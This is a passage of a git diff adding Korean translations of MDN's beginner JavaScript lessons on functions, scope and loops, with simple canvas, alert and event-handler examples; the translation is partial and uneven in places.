+<p>JavaScript 언어는 당신 스스로 코드 전체를 적을 필요 없이, 유용한 것들을 할 수 있게 해주는 많은 내장 함수를 가지고 있습니다.  사실, 브라우저 내장 함수를 <strong>호출</strong>("함수를 실행하다"는 말을 멋있게 "호출하다"라고 하기도 합니다)할 때 호출하는 일부 코드는 JavaScript로 작성할 수 없었습니다 —  이러한 함수 중 상당수는 백그라운드 브라우저 코드의 일부를 호출하고 있으며, 이는 JavaScript와 같은 웹 언어가 아니라 C++와 같은 저수준 시스템 언어로 작성됩니다.</p>
+
+<p>명심하세요. 몇몇 브라우저 내장함수는 JavaScript core가 아닌 브라우저 API의 일부입니다. 브라우저 API는 기본 언어에서 더 많은 기능을 쓸 수 있게 만들어 졌습니다. (<a href="/ko/docs/Learn/JavaScript/First_steps/What_is_JavaScript#%EA%B7%B8%EB%9E%98%EC%84%9C_%EC%A7%84%EC%A7%9C_%EC%96%B4%EB%96%A4_%EC%9D%BC%EC%9D%84_%ED%95%A0_%EC%88%98_%EC%9E%88%EB%82%98%EC%9A%94">앞선 코스</a>에서 더 자세한 설명을 볼 수 있습니다). 브라우저 API를 다루는 법은 나중에 더 살펴보도록 하겠습니다.</p>
+
+<h2 id="함수_대_메소드">함수 대 메소드</h2>
+
+<p>우리가 다음으로 넘어가기 전에, 확실하게 짚고 가야할 게 있습니다. — 기술적으로, Built-in browser functions은 functions이 아닙니다. 그들은 <strong>methods</strong>죠. 이 문장이 약간 이상하고 혼란스럽게 들릴 수 있겠지만, 걱정마세요. — function과 method 이 두 단어는 광범위하게 교체가능하답니다. 최소한 그들의 용도적 측면과 지금 당신의 배움 단계에서는요.<br>
+ <br>
+ 구별되는 점은 methods는 objects안에 정의된 functions이라는 겁니다. Built-in browser functions(methods)와 변수(<strong>properties</strong>라 불리는 것들)는 코드를 더욱 효율적이고 다루기 쉽게하기 위해 구조화된 objects안에 저장되어 있습니다.</p>
+
+<p>당신은 아직 구조화된 JavaScript objects의 내부 동작에 대해서까지는 배우지 않아도 괜찮습니다. — 당신은 우리가 가르쳐 줄 objects의 내부 동작에 관한 모든 것인 모듈과, 어떻게 당신만의 모듈을 창조할 수 있는지에 대해 기다릴 수 있습니다. 현재로서는, 우리는 단지 어떤 혼동도 가능한 method 대 function(당신이 웹에서 이용가능한 관련 자원들을 볼때, 두 가지 용어를 만날 가능 성이 충분히 있는)에 대해 정리하고 싶을 뿐입니다. </p>
+
+<h2 id="사용자_정의_함수">사용자 정의 함수</h2>
+
+<p>또한 지금까지 많은 <strong>사용자 정의 함수</strong>(브라우저가 아닌 코드에 정의된 함수)를 봤습니다. 바로 뒤에 괄호가 있는 사용자가 정의한 이름을 볼 때마다, 바로 사용자 정의 함수를 사용하고 있었던 겁니다. <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">loops article</a>의 <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> 예제(전체  <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">소스 코드</a> 참조)에는 다음과 같은 <code>draw()</code> 사용자 정의 함수가 포함되어 있습니다:</p>
+
+<pre class="brush: js notranslate">function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i &lt; 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}</pre>
+
+<p>이 함수는 {{htmlelement("canvas")}} 요소 안에 100개의 임의의 원을 그립니다. 원할 때마다 아래 코드로 함수를 호출할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">draw();</pre>
+
+<p>모든 코드를 또 작성하지 않고 말이죠. 그리고 함수는 당신이 원하는 코드를 포함할 수 있습니다. 심지어 함수 내의 다른 함수를 불러올 수도 있구요. 위의 예시는 아래와 같이 정의된 코드를 <code>random()</code> 을 통해 세번이나 호출하고 있죠.</p>
+
+<pre class="brush: js notranslate">function random(number) {
+  return Math.floor(Math.random()*number);
+}</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> 라는 내장함수는 오직 0과 1사이의 소수를 생성해내기 때문에 우리는 위의 함수가 필요했습니다. 우리는 0과 특정 수 사이의 무작위한 정수를 원했거든요.</p>
+
+<h2 id="함수_호출">함수 호출</h2>
+
+<p>지금까지 꽤 잘 따라온 거 같은데 혹시 모르니깐 말해 주자면... 정의된 함수를 작동시키기 위해선 함수를 '호출' 해야 돼요. 함수 호출은 함수의 이름을 괄호와 함께 코드 내에 적어 주면 됩니다.</p>
+
+<pre class="brush: js notranslate">function myFunction() {
+  alert('hello');
+}
+
+myFunction()
+// calls the function once</pre>
+
+<h2 id="익명_함수">익명 함수</h2>
+
+<p>당신은 조금 다른 방식으로 정의되거나 호출되는 함수를 본 적 있을 거예요. 이제까지 우리는 이런 식으로 함수를 생성했죠: </p>
+
+<pre class="brush: js notranslate">function myFunction() {
+  alert('hello');
+}</pre>
+
+<p>하지만 이름 없는 함수 또한 만들 수 있답니다.</p>
+
+<pre class="brush: js notranslate">function() {
+  alert('hello');
+}</pre>
+
+<p>이건 <strong>익명 함수</strong>라고 불려요. 이름이 없다는 뜻이죠! 익명함수는 스스로 뭘 어쩌지 못 해요. 익명함수는 주로 이벤트 핸들러와 사용됩니다. 아래의 예시는 함수 내의 코드가 버튼을 클릭함에 따라 작동한다는 걸 보여주죠. </p>
+
+<pre class="brush: js notranslate">var myButton = document.querySelector('button');
+
+myButton.onclick = function() {
+  alert('hello');
+}</pre>
+
+<p>위의 예시는 페이지 상의 클릭을 위해 {{htmlelement("button")}} 요소를 필요로 합니다. 당신은 코스를 거치며 이런 구조의 코드를 꽤 봐왔을 거예요. 다음 예시에서 더 많은 걸 배워 보자구요.</p>
+
+<p>당신은 변수 속에 익명함수를 넣을 수 있어요. 예시입니다.</p>
+
+<pre class="brush: js notranslate">var myGreeting = function() {
+  alert('hello');
+}</pre>
+
+<p>이 함수는 이런 식으로 호출되죠:</p>
+
+<pre class="brush: js notranslate">myGreeting();</pre>
+
+<p>이 방법은 효과적으로 함수에 이름을 부여하고 있어요. 당신은 다중 변수들에 함수를 할당할 수도 있죠. 예를 들면,</p>
+
+<pre class="brush: js notranslate">var anotherGreeting = function() {
+  alert('hello');
+}</pre>
+
+<p>이제 함수는 이런 식으로도 호출이 가능해졌구요.</p>
+
+<pre class="brush: js notranslate">myGreeting();
+anotherGreeting();</pre>
+
+<p>하지만 위의 방식은 사람 헷갈리게 만들어요. 그니깐 쓰진 맙시다! 함수를 만들 땐 아래의 형태를 고수하는 게 나아요.</p>
+
+<pre class="brush: js notranslate">function myGreeting() {
+  alert('hello');
+}</pre>
+
+<p>익명함수는 이벤트 발생에 따른 수많은 코드를 작동시키기 위해 주로 쓰이게 돼요. 이벤트 핸들러를 사용한 버튼의 클릭과 같은 상황에 말이죠. 자, 그 코드는 아래와 같이 생겼어요.</p>
+
+<pre class="brush: js notranslate">myButton.onclick = function() {
+  alert('hello');
+  // 내가 원하는 만큼 얼마든지
+  // 여기에 코드를 작성하면 됩니다!
+}</pre>
+
+<h2 id="매개변수"><strong>매개변수</strong></h2>
+
+<p>몇몇 함수는 호출을 위해 매개변수를 필요로 하는 경우가 있습니다. 이런 함수가 제대로 작동하기 위해선 함수 괄호 안에 값들을 넣어주어야 해요.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 매개변수는 종종 arguments, properties, 심지어 attributes 라고도 불려요.</p>
+</div>
+
+<p>예를 들어, 내장 함수인 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a>은 어떤 매개변수도 필요로 하지 않습니다. 이 함수는 호출되면 늘 0과 1사이의 무작위 수를 반환해 주죠. </p>
+
+<pre class="brush: js notranslate">var myNumber = Math.random();</pre>
+
+<p>하지만 내장 함수 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a>는 두 개의 매개변수를 필요로 합니다. 대체될 문자와 대체할 문자죠. </p>
+
+<pre class="brush: js notranslate">var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 여러 개의 매개변수는 콤마에 의해 구분되어 집니다. </p>
+</div>
+
+<p>매개변수는 이따금 선택 사항이기도 합니다. 당신이 명시해 줄 필요가 없다는 뜻이죠. 그런 경우, 일반적으로 함수는 디폴트 기능을 수행합니다. 예를 들어, 배열과 관련된 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">join()</a> 함수의 매개변수가 그렇죠.</p>
+
+<pre class="brush: js notranslate">var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+// returns 'I love chocolate frogs'
+var madeAString = myArray.join();
+// returns 'I,love,chocolate,frogs'</pre>
+
+<p>만일 결합의 기준이 될 매개변수가 없다면, 콤마가 매개변수로서 사용됩니다.</p>
+
+<h2 id="함수_스코프와_충돌">함수 스코프와  충돌</h2>
+
+<p>우리 '스코프(scope)'에 대해 얘기해 볼까요? '스코프'는 함수와 관련된 매우 중요한 개념입니다.  함수를 생성할 때, 변수 및 함수 내 정의된 코드들은 그들만의 '스코프' 안에 자리하게 됩니다. 그 말인 즉슨, 다른 함수의 내부나 외부 함수의 코드가 접근할 수 없는 그들만의 구획에 갇혀 있다는 뜻입니다. </p>
+
+<p>함수 바깥에 선언된 가장 상위 레벨의 스코프를 '<strong>전역 스코프</strong>(global scope)' 라고 부릅니다.전역 스코프 내에 정의된 값들은 어느 코드든 접근이 가능합니다.</p>
+
+<p>자바스크립트는 다양한 이유로 인해 이와 같은 기능을 제공하지만, 주로는 안전성과 구조 때문입니다. 어떤 때에는 당신의 변수가 어느 코드나 접근 가능한 변수가 되는 걸 원치 않을 겁니다. 당신이 어딘가에서 불러온 외부 스크립트가 문제를 일으킬 수도 있으니깐요. 외부 스크립트의 코드와 같은 변수 이름을 사용하면 충돌이 일어나게 돼요. 이건 악의적일 수도 있고, 아님 뭐 단순한 우연이겠죠.</p>
+
+<p>예를 들어 , 당신에게 두 개의 외부 자바스크립트 파일을 호출하는 HTML이 있다고 쳐요. 그 둘은 같은 이름으로 정의된 변수와 함수를 사용하고 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;!-- Excerpt from my HTML --&gt;
+&lt;script src="first.js"&gt;&lt;/script&gt;
+&lt;script src="second.js"&gt;&lt;/script&gt;
+&lt;script&gt;
+  greeting();
+&lt;/script&gt;</pre>
+
+<pre class="brush: js notranslate">// first.js
+var name = 'Chris';
+function greeting() {
+  alert('Hello ' + name + ': welcome to our company.');
+}</pre>
+
+<pre class="brush: js notranslate">// second.js
+var name = 'Zaptec';
+function greeting() {
+  alert('Our company is called ' + name + '.');
+}</pre>
+
+<p>두 함수 모두 <code>greeting()</code>라고 불리지만,  당신은 <code>second.js</code>  파일의 <code>greeting()</code> 함수에만 접근 가능합니다. HTML 소스 코드 상 후자이므로, 그 파일의 변수와 기능이  <code>first.js</code>것을 덮어쓰는 거죠.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 예제를 여기서 볼 수 있습니다. <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">running live on GitHub</a> (<a href="https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">source code</a> 또한 볼 수 있습니다.).</p>
+</div>
+
+<p>함수의 일부를 코드 안에 가두는 것은 이러한 문제를 피할 수 있고, 가장 좋은 방법이라 여겨집니다.</p>
+
+<p>동물원 같네요. 사자, 얼룩말, 호랑이, 그리고 펭귄은 자신들만의 울타리 안에 있으며, 그들의 울타리 내부에 있는 것만 건드릴 수 있어요. 함수 스코프처럼 말이죠. 만약 동물들이 다른 울타리 안으로 들어갈 수 있었다면, 문제가 생겼을 겁니다. 좋게는 다른 동물이 낯선 거주 환경에서 불편함을 느끼는 정도겠죠. 사자나 호랑이가 펭귄의 물기 많고 추운 영역 안에서 끔찍함을 느끼듯이요. 하지만 최악의 상황엔 사자나 호랑이가 펭귄을 먹어 치울 지도 모르죠!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14079/MDN-mozilla-zoo.png" style="display: block; margin: 0 auto;"></p>
+
+<p>사육사는 전역 스코프와 같습니다. 그들은 모든 울타리에 들어갈 수 있고, 먹이를 보충하고, 아픈 동물들을 돌볼 수 있어요.</p>
+
+<h3 id="실습_스코프랑_놀자">실습: 스코프랑 놀자</h3>
+
+<p>스코프 사용의 실례를 한번 봅시다.</p>
+
+<ol>
+ <li>먼저, 주어진 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html">function-scope.html</a> 예제의 복사본을 만드세요. 예제에는 2개의 function <code>a()</code> 와 <code>b()</code> 와, 3개의 변수 — <code>x</code>, <code>y</code>, 와 <code>z</code> —가 있습니다.  그 중 2개는 함수 안에 정의되어 있으며, 1개는 전역 범위에 정의되어 있습니다. It also contains a third function called <code>output()</code>, 이건 하나의 매개변수만 받으며, and outputs it in a paragraph on the page.</li>
+ <li>예제를 인터넷 브라우저나 텍스트 에디터를 통해 열어봅시다.</li>
+ <li>브라우저 개발자 툴을에서 자바스크립트 콘솔을 엽시다. 자바스크립트 콘솔에서 아래와 같이 작성해보세요:
+  <pre class="brush: js notranslate">output(x);</pre>
+  변수 <code>x</code>의 결과값을 볼 수 있습니다.</li>
+ <li>Now try entering the following in your console
+  <pre class="brush: js notranslate">output(y);
+output(z);</pre>
+  Both of these should return an error along the lines of "<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". Why is that? Because of function scope — <code>y</code> and <code>z</code> are locked inside the <code>a()</code> and <code>b()</code> functions, so <code>output()</code> can't access them when called from the global scope.</li>
+ <li>However, what about when it's called from inside another function? Try editing <code>a()</code> and <code>b()</code> so they look like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(y);
+}
+
+function b() {
+  var z = 3;
+  output(z);
+}</pre>
+  Save the code and reload it in your browser, then try calling the <code>a()</code> and <code>b()</code> functions from the JavaScript console:
+
+  <pre class="brush: js notranslate">a();
+b();</pre>
+  You should see the <code>y</code> and <code>z</code> values output in the page. This works fine, as the <code>output()</code> function is being called inside the other functions — in the same scope as the variables it is printing are defined in, in each case. <code>output()</code> itself is available from anywhere, as it is defined in the global scope.</li>
+ <li>Now try updating your code like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(x);
+}
+
+function b() {
+  var z = 3;
+  output(x);
+}</pre>
+ </li>
+ <li>Save and reload again, and try this again in your JavaScript console:
+  <pre class="brush: js notranslate">a();
+b();</pre>
+ </li>
+ <li>Both the <code>a()</code> and <code>b()</code> call should output the value of x — 1. These work fine because even though the <code>output()</code> calls are not in the same scope as <code>x</code> is defined in, <code>x</code> is a global variable so is available inside all code, everywhere.</li>
+ <li>Finally, try updating your code like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(z);
+}
+
+function b() {
+  var z = 3;
+  output(y);
+}</pre>
+ </li>
+ <li>Save and reload again, and try this again in your JavaScript console:
+  <pre class="brush: js notranslate">a();
+b();</pre>
+  This time the <code>a()</code> and <code>b()</code> calls will both return that annoying "<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: z is not defined</a>" error — this is because the <code>output()</code> calls and the variables they are trying to print are not defined inside the same function scopes — the variables are effectively invisible to those function calls.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: The same scoping rules do not apply to loop (e.g. <code>for() { ... }</code>) and conditional blocks (e.g. <code>if() { ... }</code>) — they look very similar, but they are not the same thing! Take care not to get these confused.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a> error is one of the most common you'll encounter. If you get this error and you are sure that you have defined the variable in question, check what scope it is in.</p>
+</div>
+
+<ul>
+</ul>
+
+<h3 id="Functions_inside_functions">Functions inside functions</h3>
+
+<p>Keep in mind that you can call a function from anywhere, even inside another function.  This is often used as a way to keep code tidy — if you have a big complex function, it is easier to understand if you break it down into several sub-functions:</p>
+
+<pre class="brush: js notranslate">function myBigFunction() {
+  var myValue;
+
+  subFunction1();
+  subFunction2();
+  subFunction3();
+}
+
+function subFunction1() {
+  console.log(myValue);
+}
+
+function subFunction2() {
+  console.log(myValue);
+}
+
+function subFunction3() {
+  console.log(myValue);
+}
+</pre>
+
+<p>Just make sure that the values being used inside the function are properly in scope. The example above would throw an error <code>ReferenceError: myValue is not defined</code>, because although the <code>myValue</code> variable is defined in the same scope as the function calls, it is not defined inside the function definitions — the actual code that is run when the functions are called. To make this work, you'd have to pass the value into the function as a parameter, like this:</p>
+
+<pre class="brush: js notranslate">function myBigFunction() {
+  var myValue = 1;
+
+  subFunction1(myValue);
+  subFunction2(myValue);
+  subFunction3(myValue);
+}
+
+function subFunction1(value) {
+  console.log(value);
+}
+
+function subFunction2(value) {
+  console.log(value);
+}
+
+function subFunction3(value) {
+  console.log(value);
+}</pre>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>This article has explored the fundamental concepts behind functions, paving the way for the next one in which we get practical and take you through the steps to building up your own custom function.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions detailed guide</a> — covers some advanced features not included here.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> — advanced concept references</li>
+</ul>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/building_blocks/index.html b/files/ko/learn/javascript/building_blocks/index.html
new file mode 100644
index 0000000000..27e2a90cf5
--- /dev/null
+++ b/files/ko/learn/javascript/building_blocks/index.html
@@ -0,0 +1,49 @@
+---
+title: JavaScript 구성요소
+slug: Learn/JavaScript/Building_blocks
+tags:
+  - 가이드
+  - 국제화
+  - 소개
+  - 자바스크립트
+  - 초보자
+  - 함수
+translation_of: Learn/JavaScript/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">이번 장에서는 조건문, 반복문, 함수, 이벤트 등 일반적으로 발생하는 코드 종류를 중심으로 JavaScript의 중요한 기본 기능에 대해 설명합니다. 지금까지의 과정을 지나면서 여기서 다룰 내용을 살짝 보셨겠지만 좀 더 심도있게 다루겠습니다.</p>
+
+<h2 id="선행사항">선행사항</h2>
+
+<p>시작하기전에, 기본 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML</a>, <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS</a> 기본지식을 가지고 계신 것이 좋습니다. 그리고 <a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫 걸음</a>을 꼭 진행하신후 오시기 바랍니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 여기 나온 코드를 작성하고 실행해 볼 수 없는 환경이라면 (태블릿, 스마트폰, 기타장치) , <a href="http://jsbin.com/">JSBin</a>이나 <a href="https://glitch.com">Glitch</a>에서 대부분의 예제를 시험해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></dt>
+ <dd>어떤 프로그래밍 언어든 코드는 의사 결정을 내리고 입력 내용에 따라 작업을 수행해야합니다. 예를 들어 게임에서 플레이어의 생명 수치가 0이면 게임이 종료됩니다. 날씨 앱에서는 아침에 해가 뜬 그림을 보여주고 밤에는 달과 별을 보여줍니다. 이 문서에서는 JavaScript에서 조건문이 작동하는 방법을 살펴 보겠습니다. </dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Looping_code">반복문</a></dt>
+ <dd>때로는 여러 반복 작업을 수행해야 할 때가 있습니다. 예를 들면 이름 목록을 살펴보는 것입니다. 프로그래밍에서 이런 반복 작업은 매우 적합합니다. JavaScript의 반복문 구조를 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Functions">함수 — 코드 재사용</a></dt>
+ <dd>코딩의 또 다른 핵심 개념은 <strong>함수</strong>입니다. <strong>함수</strong>를 사용하면 정의된 구간 안에 하나의 작업을 하는 코드를 저장한 후, 같은 코드를 여러 번 입력하지 않고도 짧은 명령어를 사용해 이 코드를 이용할 수 있습니다. 기본 문법, 함수, 범위 및 매개 변수를 호출하고 정의하는 방법과 같은 함수의 기본 개념을 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">함수 만들기</a></dt>
+ <dd>그동안 배운 이론을 활용해 실제 코드를 작성해봅니다. 사용자 정의 함수를 작성해 보고, 함수의 유용한 기능을 좀 더 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Return_values">함수는 값을 반환한다</a></dt>
+ <dd>함수에 대해 알아야 할 마지막 필수 개념은 반환값입니다. 어떤 함수는 완료하면서 값을 반환하지 않지만, 반환하는 함수도 있습니다. 값이 무엇인지, 코드에서 어떻게 사용하는지, 여러분이 작성한 함수가 어떻게 값을 반환하는지 이해하는 것이 중요합니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></dt>
+ <dd>이벤트란 프로그래밍중인 시스템에서 발생하는 동작이나 발생을 말하며, 시스템에서 그에 대해 알려주므로 원하는 경우 사용자가 어떤 방식으로든 이에 응답 할 수 있습니다. 예를 들어 사용자가 웹 페이지에서 버튼을 클릭하면 정보 상자를 표시하여 해당 작업에 응답 할 수 있습니다. 이 마지막 문서에서는 이벤트를 둘러싼 몇 가지 중요한 개념에 대해 이야기하고 브라우저에서 어떻게 작동하는지 살펴 보겠습니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>여기에선 위에서 다룬 JavaScript 기본 사항에 대해 여러분이 얼마나 이해했는지 테스트해볼 수 있습니다..</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></dt>
+ <dd>이제 JavaScript의 기본 구성 요소를 살펴 보았으므로 많은 웹 사이트에서 볼 수있는 공통 항목인 JavaScript 기반 이미지 갤러리를 만들어 반복문, 함수, 조건문, 이벤트에 대한 지식을 테스트합니다.</dd>
+</dl>
diff --git a/files/ko/learn/javascript/building_blocks/looping_code/index.html b/files/ko/learn/javascript/building_blocks/looping_code/index.html
new file mode 100644
index 0000000000..e95a78af37
--- /dev/null
+++ b/files/ko/learn/javascript/building_blocks/looping_code/index.html
@@ -0,0 +1,948 @@
+---
+title: Looping code
+slug: Learn/JavaScript/Building_blocks/Looping_code
+tags:
+  - for문
+  - 반복문
+  - 초보자
+translation_of: Learn/JavaScript/Building_blocks/Looping_code
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/조건문", "Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">프로그래밍 언어는 다양한 작업을 통해 반복적 인 작업을 신속하게 처리 할 수 ​​있습니다. 이제 우리는 JavaScript를 사용하여 반복 구문을 사용하여 편리하게 처리 할 수 ​​있습니다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 과목 :</th>
+   <td>기본적인 컴퓨터 활용 능력, HTML과 CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">자바 스크립트</a> 의 기본 이해 .</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>JavaScript에서 루프를 사용하는 방법을 이해합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="나를_계속_붙잡아_라.">나를 계속 붙잡아 라.</h2>
+
+<p>반복(loop), 반복 반복. <a href="https://en.wikipedia.org/wiki/Froot_Loops">popular breakfast cereals</a>, <a href="https://en.wikipedia.org/wiki/Vertical_loop">roller coasters</a> 그리고 <a href="https://en.wikipedia.org/wiki/Loop_(music)">musical production</a>과 같이, 그것들은 프로그래밍의 중요한 개념이다. 프로그래밍 loop는 반복적으로 동일한 작업을 반복하는것이고 이런것들을 프로그래밍 언어로 loop라 한다.</p>
+
+<p>가족들이 일주일동안 먹을 식량이 충분한지 확신하기 위해 고민하는 농부의 상황을 보자. 그는 이것을 알기위해 다음과 같은 loop를 취할수 있다:</p>
+
+<p><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/13755/loop_js-02-farm.png" style="display: block; margin: 0 auto;"></p>
+
+<p>이 loop에서 다음과 같이 우리는 한가지 이상의 기능을 가질수 있다:</p>
+
+<ul>
+ <li><strong>counter</strong>은 특정 값으로 초기화된다  — loop의 시작점이다. ("시작: I have no food", 위 그림을 참고).</li>
+ <li><strong>exit condition</strong>는 loop가 멈추는 기준이 되는 종료 조건 — 보통 counter가 특정 값에 도달하면 멈추게된다. 이것은 위에서 "Have I got enough food?"라고 설명되어 있다. 가족에게 먹일 음식 10개가 필요하다고 가정 해 보자.</li>
+ <li><strong>iterator</strong>는 끝나는 조건에 도달 할 때까지 일반적으로 counter를 각각의 연속된 루프에서 조금 씩 증가시킨다. 우리는 위에 명시적으로 설명하지 않았지만, 농부가 시간 당 음식을 2개씩 수집 할 수 있다고 생각할 수 있다. 매시간 후, 그가 모은 음식의 양은 2개씩 증가하고, 그는 음식이 충분한 지 여부를 확인한다. 그가 10개(종료 조건)에 도달하면, 그는 수집을 중지하고 집에 갈수 있다.</li>
+</ul>
+
+<p>{{glossary("pseudocode")}}에서 이것은 다음과 같아 보일 것이다.:</p>
+
+<pre class="notranslate">loop(food = 0; foodNeeded = 10) {
+  if (food = foodNeeded) {
+    exit loop;
+    // We have enough food; let's go home
+  } else {
+    food += 2; // Spend an hour collecting 2 more food
+    // loop will then run again
+  }
+}</pre>
+
+<p>따라서 필요한 음식의 양은 10으로 설하고, 현재 농부의 양은 0으로 설정한다. 매 반복마다 농부의 음식 양이 필요한 양과 같은지 확인한다. 필요한 양을 얻었다면 loop를 종료 할수 있다. 그렇지 않다면, 농부는 음식을 모을때까지 다시 반복해서 loop를 실행한다.</p>
+
+<h3 id="왜_귀찮게">왜 귀찮게?</h3>
+
+<p>여기에서 loop의 뒤에 있는 고급개념을 이해했을 것이다. 하지만 "그래 뭐 괜찮군 그래서 이 코드가 어떻게 도움이 될수 있는거지?"라고 생각할수도 있다. 앞서 말햇듯이 <strong>loop는 반복적인 작업을 빠르게 동일한 작업을 반복해서 수행해 완료하는 것이다.</strong></p>
+
+<p>종종 코드는 각각의 연속적인 반복된 loop에서 조금씩 달라질수도 있다. 그래서 유사하지만 약간 다른 작업에 이것을 이용해 작업을 완료할수도 있다.만약 너가 여러가지 다른종류의 계산을 해야한다면, 반복해서 처리하는게 아닌 각각 계산하고 싶을것이다.</p>
+
+<p>Loop가 왜 그렇게 좋은지 완벽하게 설명하는 예제를 한번 보자. {{htmlelement("canvas")}}  element에 100개의 무작위 원을 그려야 한다고 가정해보자. (예제를 다시 실행하여 다른 임의의 세트를 보려면 Update 버튼을 클릭) :</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Random canvas circles&lt;/title&gt;
+    &lt;style&gt;
+      html {
+        width: 100%;
+        height: inherit;
+        background: #ddd;
+      }
+
+      canvas {
+        display: block;
+      }
+
+      body {
+        margin: 0;
+      }
+
+      button {
+        position: absolute;
+        top: 5px;
+        left: 5px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;button&gt;Update&lt;/button&gt;
+
+  &lt;canvas&gt;&lt;/canvas&gt;
+
+
+    &lt;script&gt;
+    const btn = document.querySelector('button');
+    const canvas = document.querySelector('canvas');
+    const ctx = canvas.getContext('2d');
+
+    let WIDTH = document.documentElement.clientWidth;
+    let HEIGHT = document.documentElement.clientHeight;
+
+    canvas.width = WIDTH;
+    canvas.height = HEIGHT;
+
+    function random(number) {
+      return Math.floor(Math.random()*number);
+    }
+
+    function draw() {
+      ctx.clearRect(0,0,WIDTH,HEIGHT);
+      for (let i = 0; i &lt; 100; i++) {
+        ctx.beginPath();
+        ctx.fillStyle = 'rgba(255,0,0,0.5)';
